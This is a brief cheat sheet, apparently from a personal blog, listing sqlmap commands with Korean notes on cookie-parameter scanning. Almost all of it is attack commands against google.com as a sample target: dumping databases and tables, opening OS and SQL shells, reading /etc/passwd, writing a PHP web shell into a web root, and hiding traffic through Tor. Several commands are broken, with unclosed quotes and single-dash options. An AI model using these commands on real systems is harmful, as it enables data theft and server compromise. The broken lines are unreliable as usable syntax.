SQLMap

Installation

Macos

1
brew install sqlmap

Linux

1
sudo apt install sqlmap

Go-to Commands

1
sqlmap -u "https://google.com/?q=1" --dbs --no-cast --random-agent

Get data

All databases

1
sqlmap -u "https://google.com/?q=1 --dbs

All tables in db

1
sqlmap -u "https://google.com/?q=1 --tables -D "DB-NAME"

All columns in table

1
sqlmap -u "https://google.com/?q=1 -D "DB-NAME" -T "TABLE-NAME" -columns

Dumped contents

1
sqlmap -u "https://google.com/?q=1 -D "DB-NAME" -T "TABLE-NAME" -dump

Get Shell

Get OS Shell

1
sqlmap -u "https://google.com/?q=1 --os-shell

Get SQL Shell

1
sqlmap -u "https://google.com/?q=1 --sql-shell

File

Read File

1
sqlmap -u "https://google.com/?q=1" --file-read '/etc/passwd'

Write File

1
sqlmap -u "https://google.com/?q=1" --file-write './shell.php' --file-dest '/apache/public/shell.php'

With Tor

1
sqlmap -u "https://google.com/?q=1" --tor --tor-type=SOCKS5

Scanning to X

Scanning to selected param

1
sqlmap -u "https://google.com/?q=1&b=1" -p q
1
2
3
4
5
 $ sqlmap -u "https://google.com/?q=1 \
 --cookie "abcd=1234; xcccc=1234; bgdfg=124" \ 
 -p abcd \
 --param-filter='COOKIE' \
 --level 2

조건

  • --param-filter=COOKIE 옵션 지정 필요
  • -p 옵션으로 원하는 쿠키 파라미터 지정
  • 2 이상의 level 지정 (level>=2)
Licensed under CC BY-NC-SA 4.0
Last updated on Feb 20, 2022 23:01 +0900